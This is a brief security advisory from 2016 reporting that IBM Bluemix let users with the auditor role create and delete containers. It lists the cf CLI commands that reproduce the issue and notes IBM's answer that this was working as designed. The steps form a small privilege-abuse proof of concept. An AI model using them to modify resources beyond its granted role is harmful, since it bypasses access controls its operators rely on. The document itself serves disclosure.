Bluemix Container Authorization Controls

Bluemix containers have a broken access control that allows auditors to create and delete containers.

MD5 | 8a6d006d8e878e8632975e9e786dffdf

# Date : 09/12/2016
# Author : Oscar Martinez
# Tested on:cf version 6.22.1+6b7af9c-2016-09-24 / Docker version 1.12.3,
build 6b644ec / API endpoint: (API version:
API endpoint: (API version: 2.54.0)
# Vendor : IBM
# Software : bluemix

# Vulnerability Description:
It is assumed that a user with auditor role should not be able to create or
delete containers.
But, a user with auditor role CAN create or delete containers using the cli

1. Connect to bluemix using the cli CF with the user with "auditor" role.
1.1 cf login [-sso]
1.2 cf ic init
2. Show the images
2.1 cf ic images
3. Create the container
3.1 cf ic run --name broken_access_666 -p 8080 -m 512[your site]/[your image]
cf ic run --name broken_access_666 -p 8080 -m 512
4. Delete your container
cf ic stop [your container]
cf ic rm [your container]
cf ic stop broken_access_666
cf ic rm broken_access_666

Time Line
* 2016/11/28: First contact with vendor (
* 2016/11/28: IBM PSIRT assigned PSIRT Advisory <7263>
* 2016/12/08: IBM PSIRT answered by email "issue is working as designed "

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